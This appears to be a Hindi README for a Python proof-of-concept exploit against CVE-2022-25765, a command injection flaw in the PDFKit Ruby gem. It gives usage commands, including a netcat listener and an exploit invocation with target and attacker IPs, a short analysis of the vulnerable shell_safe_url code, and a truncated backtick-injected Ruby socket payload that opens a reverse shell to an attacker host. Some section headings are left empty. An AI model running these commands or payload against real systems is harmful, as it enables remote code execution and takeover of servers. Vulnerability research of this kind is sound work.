
CVE-2022-25765 के लिए Python PoC एक्सप्लॉइट, PDFKit में एक गंभीर कमांड इंजेक्शन। wkhtmltopdf को पास किए गए अनसैनिटाइज़्ड URL पैरामीटर के माध्यम से एक रिवर्स शेल उत्पन्न करता है। उपयोग निर्देश और तकनीकी भेद्यता विश्लेषण शामिल हैं।
CVE-2022-25765 के लिए एक छोटा POC शोषण, PDFkit-CMD-Injection
अपने हमला करने वाली मशीन पर netcat लिसनर शुरू करें:
nc -lvnp 4444
शोषण चलाएँ:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
उदाहरण:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
पैरामीटर:
-t, --target: लक्षित URL जो संवेदनशील PDFKit चला रहा है-l, --lhost: रिवर्स शेल कनेक्शन के लिए आपका IP पता-p, --lport: रिवर्स शेल कनेक्शन के लिए आपका पोर्ट (आपके netcat लिसनर से मेल खाना चाहिए)CVE ID: CVE-2022-25765 CVSS v3.1 स्कोर: 9.8 (गंभीर) EPSS स्कोर: 71.381% (99वां प्रतिशतक) CWE: CWE-77 - कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण
PDFKit एक Ruby gem है जो wkhtmltopdf कमांड-लाइन टूल का उपयोग करके HTML को PDF में परिवर्तित करता है। भेद्यता इस बात में मौजूद है कि PDFKit URL पैरामीटर को सिस्टम शेल कमांड में पास करने से पहले कैसे संभालता है।
भेद्यता lib/pdfkit/source.rb में है जहाँ URL स्वच्छता गलत तरीके से लागू की गई है:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
समस्या:
हमला वेक्टर:
यह PoC भेद्यता का शोषण इस प्रकार करता है:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'लक्ष्य प्रणाली पर: